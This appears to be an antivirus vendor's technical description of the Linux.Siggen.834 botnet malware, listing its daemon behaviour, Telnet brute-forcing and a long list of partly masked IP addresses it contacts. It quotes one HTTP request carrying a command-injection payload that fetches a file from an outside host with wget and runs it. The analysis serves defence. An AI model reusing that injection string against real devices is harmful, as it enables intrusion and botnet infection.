Linux.Siggen.834

Technical Information

Malicious functions:

Launches itself as a daemon

Substitutes application name for:

efcfmlbikp4dfgpcig3bm2glbekimpbb

Kills the following processes:

<SAMPLE>

Network activity:

Awaits incoming connections on ports:

127.0.0.1:1822

Establishes connection:

8.#.8.8:53
21#.##7.32.62:3284
11#.##8.173.5:80
21#.#9.24.49:80
21#.##1.123.4:80
21#.##.100.216:80
89.##0.15.2:80
92.###.180.245:80
21#.##.228.100:80
60.###.127.85:80

Attacks using a special dictionary (brute-force technique) via the Telnet protocol.

HTTP GET requests:

http://##.###.###.#########.#############aa%27;wget%20http://212.237.32.62/k%20-O%20-%3E%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$

Sends data to the following servers:

19#.###.164.35:37215
19#.###.198.34:37215
15#.##.72.226:37215
48.###.228.35:52869
11#.###.198.34:52869
41.##.74.226:52869
18#.###.206.35:52869
19#.###.140.35:37215
41.###.205.150:37215
19#.##.250.104:37215
19#.###.220.24:37215
20.###.206.10:52869
16#.###.75.195:52869
74.###.2.128:52869
5.###.255.85:52869
20#.##.78.126:52869
15#.###.254.236:37215
15#.###.115.131:37215
19#.###.239.40:37215
41.###.225.158:37215
71.###.20.43:52869
13#.###.205.10:52869
19#.##.8.65:37215
41.##.218.41:37215
19#.###.216.141:37215
21#.##7.32.62:3284
13#.###.181.154:52869
42.###.202.101:52869
84.###.122.175:52869
77.###.78.62:52869
41.##.144.26:37215
19#.###.139.30:37215
17#.##1.171.8:52869
80.##.102.239:52869
16#.###.185.66:52869
15#.##.189.20:37215
15#.##.235.8:37215
19#.##.187.194:37215
19#.##4.61.33:37215
13#.#.124.70:52869
91.###.231.134:52869
72.###.100.144:52869
15#.##.139.4:52869
41.###.55.219:37215
41.###.60.137:37215
15#.###.74.145:37215
98.###.247.92:52869
13#.###.120.106:52869
15#.###.114.234:37215
41.###.201.210:37215
41.###.212.40:37215
41.##.162.9:37215
10#.##.251.213:52869
60.###.153.2:52869
96.###.226.184:52869
66.###.134.2:52869
19#.###.236.27:37215
19#.##.179.29:37215
19#.###.44.190:37215
20#.###.197.89:52869
12#.##.137.80:52869
13#.##3.36.32:8080
41.##.159.121:37215
15#.###.218.187:37215
19#.###.110.203:52869
67.##.161.59:52869
97.##.202.135:52869
21#.#.79.225:80
15#.##4.200.54:80
15#.###.102.231:37215
15#.###.38.242:37215
41.###.162.234:37215
10#.##4.205.250:80
20#.##5.139.46:80
23.###.62.115:80
15#.###.217.164:37215
19#.##7.12.24:37215
19#.###.236.158:37215
19#.##.77.163:37215
16#.##0.34.74:52869
16#.##.152.31:52869
87.##.31.107:52869
19#.##.228.13:52869
13.###.146.140:52869
21#.##6.92.27:80
21#.##6.155.215:80
16#.##7.49.128:80
19#.###.240.227:37215
15#.###.39.187:37215
15#.###.116.125:37215
14#.##.170.8:52869
20#.##.225.255:52869
83.###.4.103:52869
11#.##8.173.5:80
21#.##.32.254:8080
15#.##.210.141:80
21#.##2.159.60:80
15#.##.161.229:37215
41.##.123.103:37215
41.###.71.22:37215
16#.##.240.233:52869
25.###.177.20:52869
65.###.160.180:52869
17#.##9.144.183:80
17#.##4.180.70:80
21#.##0.108.63:80
19#.###.216.149:37215
41.##.59.40:37215
41.##.219.178:37215
20#.###.48.249:52869
20#.###.35.174:52869
20#.##0.10.78:52869
18#.###.207.80:52869
21#.##8.203.228:80
21#.##7.34.71:80
21#.##4.186.107:80
21#.##.109.212:80
41.###.205.235:37215
15#.###.22.116:37215
41.##.25.64:37215
31.##.231.126:52869
10#.##.128.23:52869
19#.##.59.62:52869
12#.###.189.115:52869
19#.##.86.176:8080
21#.##.107.174:80
21#.##4.244.129:80
61.##.170.88:80
19#.##.220.29:37215
19#.##.179.233:37215
41.##.103.11:37215
19#.##.215.191:52869
16#.###.157.159:52869
20#.##.236.66:52869
73.###.113.14:52869
21#.##7.235.12:80
21#.##7.150.197:80
21#.##.179.202:80
15#.#8.58.90:80
41.###.74.144:37215
15#.##.26.123:37215
41.##.134.138:37215
79.###.156.45:52869
19#.###.112.41:52869
16#.##.138.71:52869
45.###.18.155:52869
19#.##.35.243:80
69.#.18.85:80
16#.##2.11.253:8080
21#.##6.129.140:80
41.###.39.121:37215
19#.##.125.211:37215
19#.##.186.63:37215
15#.###.157.250:52869
47.###.162.216:52869
2.###.113.131:52869
11#.###.180.20:52869
21#.##6.231.213:80
21#.##.17.194:80
95.###.141.35:80
44.###.43.117:80
15#.##.137.143:37215
15#.###.111.109:37215
41.###.154.202:37215
91.###.242.34:52869
20#.###.134.13:52869
13#.###.230.74:52869
32.###.57.148:52869
15#.##4.72.195:80
21#.##8.242.250:80
2.###.84.234:80
21#.##0.244.59:80
15#.###.20.245:37215
41.###.128.42:37215
41.###.33.30:37215
19#.##5.32.27:37215
22#.##.123.107:52869
80.###.20.144:52869
96.##.216.196:52869
10#.###.247.69:52869
13.###.180.245:8080
9.#.#30.253:80
15#.##.59.244:37215
17#.###.43.136:52869
12#.###.225.226:52869
17#.##0.78.10:80
79.##.30.245:80
19#.###.72.248:37215
41.###.67.37:37215
62.###.136.128:52869
18#.##.65.3:52869
11#.##.221.69:52869
21#.#0.55.68:80
41.###.185.185:80
15#.###.128.83:37215
15#.###.36.115:37215
15#.###.121.145:37215
21#.###.237.177:52869
22#.##.170.54:52869
21#.#9.24.49:80
21#.#8.22.72:80
79.##8.47.89:80
15#.##.201.53:37215
41.##.94.206:37215
15#.##.225.26:37215
14#.###.215.29:52869
20#.##.152.205:52869
12#.###.241.131:52869
16#.###.219.18:52869
21#.##7.165.90:80
41.###.187.9:37215
41.###.124.89:37215
15#.##6.36.31:37215
41.###.162.147:37215
16#.###.38.163:52869
16#.###.214.169:52869
49.###.243.140:52869
21#.##.164.222:52869
11#.##5.66.36:8080
21#.##.241.30:80
11#.##.60.174:80
21#.##.139.187:80
21#.#.141.27:80
19#.###.235.234:37215
15#.##2.94.78:37215
15#.##8.233.6:37215
41.###.47.241:37215
39.##.46.99:52869
13#.###.72.211:52869
14#.##3.3.153:52869
19#.##.59.64:52869
21#.##2.165.53:80
21#.##.226.245:80
21#.##6.53.215:80
41.##.203.231:37215
15#.###.27.102:37215
15#.##.44.216:37215
41.##.102.155:37215
18#.###.193.116:52869
49.###.246.47:52869
13#.###.37.114:52869
66.##.232.122:80
22#.###.215.186:8080
18#.##.209.154:80
21#.##0.103.8:80
41.##.251.208:37215
19#.##.108.170:37215
15#.##.122.181:37215
15#.##3.67.80:37215
60.###.164.14:52869
89.###.213.192:52869
14#.###.236.131:52869
20#.##2.85.42:52869
82.###.112.124:80
21#.##2.51.129:80
20#.##9.199.178:80
21#.##2.81.255:80
41.##.146.60:37215
15#.###.198.183:37215
19#.###.108.32:37215
19#.###.173.143:37215
24.##.44.137:52869
19#.###.135.228:52869
79.###.184.123:52869
17#.##2.3.147:52869
12.###.36.191:52869
58.###.158.80:80
25.###.103.34:80
19#.##5.82.140:80
21#.###.115.247:8080
19#.###.101.200:37215
15#.###.39.144:37215
15#.##.165.27:37215
41.###.53.66:37215
80.##.167.14:52869
21#.##.24.200:52869
17#.###.156.182:52869
15#.##.49.41:52869
96.##.150.203:52869
90.###.95.244:80
21#.##2.119.180:80
12#.##7.89.27:80
21#.##.100.216:80
14#.##3.252.35:80
15#.##.154.15:37215
19#.###.186.182:37215
41.###.65.228:37215
19#.###.201.178:37215
19#.###.215.254:52869
12#.##.227.32:52869
53.###.72.69:52869
13#.###.183.53:52869
73.###.160.163:52869
21#.##2.65.113:80
21#.#.241.240:80
45.##.149.36:80
21#.##.223.229:80
41.##.221.202:37215
15#.##.238.56:37215
41.###.193.165:37215
41.###.50.143:37215
15#.##3.48.73:37215
49.###.136.17:52869
78.###.234.103:52869
53.###.139.190:52869
50.##.184.250:8080
21#.##7.17.159:80
21#.##7.211.81:80
21#.##9.251.161:80
15#.##.26.169:37215
19#.##.225.66:37215
41.###.235.108:37215
19#.###.67.173:37215
20#.###.132.34:52869
17#.##.30.132:52869
49.##.234.189:52869
72.##.48.199:52869
70.###.203.54:52869
21#.##8.110.83:80
21#.##2.175.56:80
41.###.195.248:80
12#.##7.213.117:80
41.##.129.140:37215
41.##.151.21:37215
19#.##.196.245:37215
15#.##.127.154:37215
12#.#.198.39:52869
38.###.57.111:52869
60.##.2.220:52869
4.##.#7.221:52869
12#.##.85.247:52869
21#.#3.69.6:80
16#.##1.52.55:80
21#.#.113.161:8080
21#.##.26.217:80
21#.##5.236.67:80
41.###.172.104:37215
19#.###.170.84:37215
41.##.105.206:37215
19#.#.252.211:37215
51.###.137.10:52869
15#.##.194.105:52869
39.##.191.17:52869
18.##.231.217:52869
21#.##1.180.212:80
92.###.29.119:80
21#.##.128.170:80
15#.##.191.112:37215
15#.###.81.191:37215
19#.##.166.150:37215
15#.###.189.72:37215
72.###.204.255:52869
47.###.75.99:52869
12#.###.249.43:52869
21#.#5.7.242:80
21#.#.243.210:80
21#.##.100.22:80
12#.##9.92.208:80
41.###.56.176:37215
15#.###.195.30:37215
41.###.6.7:37215
15#.###.160.55:37215
19#.###.147.222:52869
12#.#.114.117:52869
11#.###.226.103:52869
16#.###.163.59:52869
14#.###.130.189:8080
21#.##0.254.113:80
19#.##.149.73:37215
15#.##.148.53:37215
18#.##.2.67:52869
10#.###.199.65:52869
21#.#.47.239:80
21#.##1.155.250:80
19#.###.80.112:37215
41.##.186.35:37215
15#.###.156.13:37215
16#.#.180.220:52869
13#.###.152.101:52869
12#.#.118.204:80
18#.##.119.164:80
15#.##5.3.236:37215
41.###.222.166:37215
19#.###.48.201:37215
20#.##.216.199:52869
62.###.58.32:52869
17#.#55.83.2:80
21#.#4.5.115:80
20.##.155.76:80
41.##.164.114:37215
41.###.95.137:37215
41.##.146.241:37215
93.###.82.50:52869
12#.###.207.51:52869
18#.##1.73.41:52869
20.##.147.161:52869
21#.##0.155.134:80
21#.##.149.179:8080
21#.##9.133.86:80
16#.##5.92.95:80
19#.###.98.133:37215
15#.###.65.122:37215
41.##.203.178:37215
41.##.21.15:37215
14#.##5.59.49:52869
11#.##.99.37:52869
70.###.157.67:52869
21#.##.254.149:80
21#.##.102.254:80
68.#.156.130:80
12#.##6.103.177:80
15#.##.73.33:37215
41.###.38.123:37215
15#.###.167.72:37215
15#.##.218.47:52869
18#.##.160.222:52869
19#.###.110.122:52869
20#.###.121.92:52869
62.###.66.207:52869
87.###.174.78:80
21#.#6.3.197:80
21#.#42.6.6:80
21#.##.15.41:8080
15#.###.13.125:37215
19#.###.121.73:37215
41.##.74.148:37215
19#.###.191.168:37215
38.###.133.155:52869
21#.###.184.50:52869
17#.#3.81.6:80
62.###.89.168:80
18#.##0.120.139:80
12#.##7.81.33:80
15#.##.63.207:37215
15#.##9.7.126:37215
41.##.56.28:37215
41.###.35.254:37215
65.###.36.82:52869
75.###.176.239:52869
11#.###.205.136:52869
52.###.188.181:80
20#.##5.13.254:80
18#.#4.82.57:80
19#.###.163.152:37215
41.###.146.150:37215
15#.##9.26.8:37215
19#.##.98.175:37215
11#.#0.22.7:80
17#.##2.36.30:80
84.##.86.239:8080
21#.##0.13.207:80
41.###.71.230:37215
38.##.198.187:80
12#.##2.131.95:80
21#.##2.56.37:80
15#.##1.65.227:80
21#.##.244.76:80
11#.##9.193.36:80
73.###.194.135:80
21#.##.14.194:80
21#.##9.249.8:8080
11#.#0.95.59:80
21#.#.194.105:80
61.##4.94.29:80
13#.##2.111.222:80
18#.##0.100.186:80
21#.##8.8.177:80
21#.#6.9.111:80
21#.##5.148.204:80
59.###.211.237:80
21#.##3.211.32:8080
57.###.125.210:80
21#.#.158.162:80
15#.#7.166.9:80
21#.##8.142.31:80
17#.##.115.244:80
21#.##7.230.98:80
52.###.91.122:80
13#.##2.241.185:80
10#.##6.103.26:80
13#.##.174.209:8080
21#.##0.136.187:80
21#.##0.127.246:80
21#.##.221.22:80
16#.#1.34.98:80
21#.##7.175.7:80
14#.##2.190.171:80
21#.##8.168.167:80
21#.##8.76.51:80
21#.##.88.148:80
21#.##7.156.10:8080
21#.##.90.178:80
18#.##0.40.79:80
21#.##3.26.33:80
17#.##.134.165:80
20#.##4.73.224:80
19#.##6.234.99:80
17#.##.193.58:80
10#.##7.213.17:80
21#.##9.44.163:80
21#.###.101.114:8080
35.###.105.254:80
73.##1.80.87:80
21#.##5.239.1:80
17#.##.206.36:80
18#.#.109.231:80
21#.##2.8.161:80
15#.#15.8.0:80
21#.##1.123.4:80
1.###.130.208:80
13#.##0.3.36:8080
13#.##.80.115:80
22#.##4.48.133:80
18#.##.124.31:80
21#.##9.223.52:80
21#.##2.1.106:80
12#.##.229.246:80
65.##.52.168:80
21#.##5.154.104:80
69.##8.94.23:80
21#.#.207.39:8080
21#.##.103.230:80
5.###.23.2:80
12#.#08.11.0:80
21#.##.166.64:80
21#.##5.236.118:80
21#.##0.70.77:80
21#.##7.126.202:80
21#.##7.34.145:80
21#.##0.197.62:80
21#.##8.98.152:8080
21#.#1.96.74:80
13#.##.109.10:80
15#.#.35.51:80
18#.##1.249.204:80
21#.##0.56.173:80
21#.##.243.78:80
89.##0.15.2:80
21#.##5.241.40:80
10#.##5.46.127:80
21#.##.67.203:8080
12#.##.237.168:80
21#.##.170.28:80
10#.##3.130.82:80
21#.##1.252.40:80
21#.#5.1.92:80
85.###.59.198:80
36.##.128.236:80
21#.##6.204.116:80
21#.##2.150.103:80
44.##.89.239:8080
21#.##.52.172:80
21#.##3.21.106:80
21#.#0.89.3:80
17#.##.221.62:80
5.###.159.133:80
18#.#4.5.160:80
21#.##8.95.74:80
21#.##5.149.124:80
92.###.180.245:80
21#.##.6.185:8080
21#.##8.230.99:80
16#.##0.200.223:80
21#.##4.234.190:80
21#.##.81.250:80
21#.##5.208.14:80
21#.##9.79.120:80
21#.##2.135.171:80
11#.##6.185.86:80
21#.#2.34.89:80
9.#.#35.90:8080
15#.##.75.208:80
60.###.127.85:80
21#.#.221.79:80
21#.##8.56.66:80
8.###.34.33:80
21#.##0.224.46:80
21#.##.135.82:80
21#.#7.38.32:80
21#.##4.210.241:80
21#.##5.47.37:8080
20#.#4.54.63:80
21#.##1.191.220:80
21#.##8.164.40:80
21#.##.198.45:80
21#.##4.190.202:80
21#.##0.247.121:80
4.##.202.128:80
21#.##6.18.127:80
21#.##.159.72:80
21#.##.96.136:8080
21#.##5.165.220:80
21#.##6.72.87:80
16#.#0.12.44:80
67.##4.1.182:80
21#.##2.207.142:80
21#.##.197.219:80
14.##.232.164:80
37.##.91.203:80
34.###.169.42:80
34.###.195.29:8080
21#.#.50.34:80
17#.##.105.32:80
21#.##.127.175:80
21#.##.228.100:80
18#.##8.242.76:80
10#.##7.15.92:80
12#.##7.216.211:80
12.##.204.11:80
21#.##.57.167:80
42.##.244.43:8080
81.##.110.30:80
15#.##1.113.166:80
21#.##8.172.56:80
21#.#.203.205:80
14#.##.209.103:80
21#.##.168.78:80
21#.##3.64.161:80
21#.##.254.228:80
21#.#6.26.29:80
21#.###.163.177:8080
21#.##0.174.193:80
21#.##3.90.251:80
21#.##.235.176:80
21#.#.66.109:80
12#.##3.50.19:80
76.##.161.51:80
21#.##1.82.179:80
17#.##8.6.116:80
21#.##8.205.77:80
19#.###.244.211:8080
21#.##3.211.194:80
21#.##.110.101:80
21#.##2.210.10:80
40.###.119.160:80
10#.##.92.242:80
21#.##1.91.216:80
21#.##5.173.3:80
21#.##5.91.251:80
12#.##.246.96:80

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement